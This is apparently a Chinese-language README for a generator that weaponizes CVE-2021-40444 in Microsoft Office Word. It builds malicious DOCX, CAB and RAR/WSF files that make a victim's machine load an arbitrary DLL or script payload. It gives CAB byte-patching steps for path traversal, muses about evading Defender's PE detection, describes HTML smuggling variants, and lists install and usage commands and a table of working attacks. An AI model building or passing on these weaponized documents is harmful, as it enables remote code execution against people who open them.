
Microsoft-Office-Word-MSHTML-Remote-Code-Execution-Exploit
用于利用CVE-2021-40444(Microsoft Office Word远程代码执行)的恶意docx生成器,可与任意DLL文件配合使用。
尽管互联网上已经有许多PoC,我决定自己尝试武器化这个漏洞,因为我能找到的现有资料缺乏值得分享的有价值信息,同时考虑到微软已经发布了该漏洞的补丁。
到目前为止,我看到的用于创建功能完整的生成器的唯一有价值资源是:
上述资源概述了创建完整攻击链所需的许多要求。为避免重复太多不必要的信息,我只总结相关细节。
这个漏洞利用有很多被忽视的要求,甚至导致像lockedbyte的PoC这样的优秀PoC无法正常工作。
也许没有人明确“公开”这些细节,以避免漏洞被更多地利用。但现在它已经被修补了,所以公开细节应该不会造成太多麻烦。
根据Will Dormann的这条推文,HTML的大小至少应为4096字节,才能触发MS Word中的“预览”。
CAB文件需要进行字节修补,以避免提取错误并实现ZipSlip:
filename.inf 应变为 ../filename.inffilename.inf coffCabStartCFFOLDER.typeCompress CFFOLDER.coffCabStart 应该增加3(因为添加了 '../')CFFOLDER.cCfData CFFILE.cbFile 应大于整个 CFHEADER.cbCabinetCFDATA.csum 这些约束的原因很多,我没有花足够的时间深入理解所有原因,但让我们看看最重要的:
注意1: Defender现在通过使用_IMAGE_DOS_HEADER.e_magic值作为签名来检测CAB文件是否包含PE,从而可能避免PE文件嵌入到CAB中。这个签名能被绕过吗?我不确定,但如前所述,这是一个已修补的漏洞,所以我不打算在这个问题上投入更多时间。有兴趣的读者可以进一步研究。
注意2: 微软补丁阻止了任意URI方案,显然使用了黑名单方法(这只是一个假设)
与CVE-2021-40444相关的主要攻击链是通过.cpl URI方案加载的DLL攻击。为了利用这一点,攻击者需要生成一个特制的DLL。如果你想测试一下,试试我的evildll-gen脚本。
正如Max Maluin所指出的,可以利用IE和相关的基于文件扩展名的URI与多种文件类型进行交互。虽然这可能是利用IE的好方法,但它也有局限性。
实际上,应该注意的是,该漏洞利用中用于下载文件的方法基于ActiveX控件更新,不能用于下载任意文件。根据微软文档,codebase标签只能指向少数几种文件类型:OCX、INF和CAB。
即使我们可以直接下载OCX或INF文件,我们仍然不能确保文件下载到系统中的正确位置。通过cab漏洞利用,可以使用路径遍历将.inf文件移动到一个已知路径,但在其他情况下,文件将存储在随机目录中,使得几乎不可能引用它。
截至目前,我没有找到无需CAB文件就能链式下载和执行的方法。
注意:仅就IE而言,HTML走私可能是利用该漏洞的一种可能场景。
该技术最初由Eduardo Braun在Twitter上披露,并在这篇论文中进一步解释。
请注意,使用这种技术,攻击链略有不同。这种攻击要求用户下载一个特制的RAR文件,该文件通过连接一个有效的WSF脚本和一个有效的RAR文件获得。一旦打开,RAR将包含一个DOCX,其中包含对HTML的引用,而HTML又会尝试将RAR文件作为WSF脚本加载。
总结:
该生成器实用程序目前可以复现以下攻击:
1在某些环境中CAB无法正常下载
2用户需要在IE中点击“保存”才能下载文件
工具cab_parser.py可用于查看漏洞利用文件的头部,但请不要将其视为一个完整的解析器。这是我为了了解情况而开发的一个非常简陋的CAB头部查看器。
生成器设计用于Windows,因为它使用makecab实用程序。使用前,请确保安装所需依赖:
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install virtualenv
python -m virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install -r requirements
生成器使用起来很简单,尽管它已经用许多不同的payload和Windows版本进行了测试,但并非万无一失。我在不同的Windows版本中遇到了不同的行为。一旦我有更多细节可以分享,我会在这里发布。
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
optional arguments:
-h, --help show this help message and exit
-P PAYLOAD, --payload PAYLOAD
DLL payload to use for the exploit
-u URL, --url URL Server URL for malicious references (CAB->INF)
-o OUTPUT, --output OUTPUT
Output files basename (no extension)
--host If set, will host the payload after creation
-c COPY_TO, --copy-to COPY_TO
Copy payload to an alternate path
-nc, --no-cab Use the CAB-less version of the exploit
-t, --test Open IExplorer to test the final HTML file
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
| 攻击 | HTML模板 | 目标 | 递送方式 | 执行方式 | 是否有效 |
|---|
| 攻击的原始版本 | cab-orig-* | WORD | DOCX | CAB + DLL | 是 |
| j00sean仅IE攻击 | cab-orig-j00san | IE | HTML | CAB + DLL | 是 |
| 我的无DLL版本 | cab-uri-* | WORD | DOCX | CAB + JS/VBS | 否1 |
| Eduardo B. 使用RAR的“CABless”攻击 | cabless-rar-* | WORD | RAR | WSF | 是 |
| 改进的j00sean攻击 + HTML走私 | cabless-smuggling-* | IE | HTML | JS/VBS | 是2 |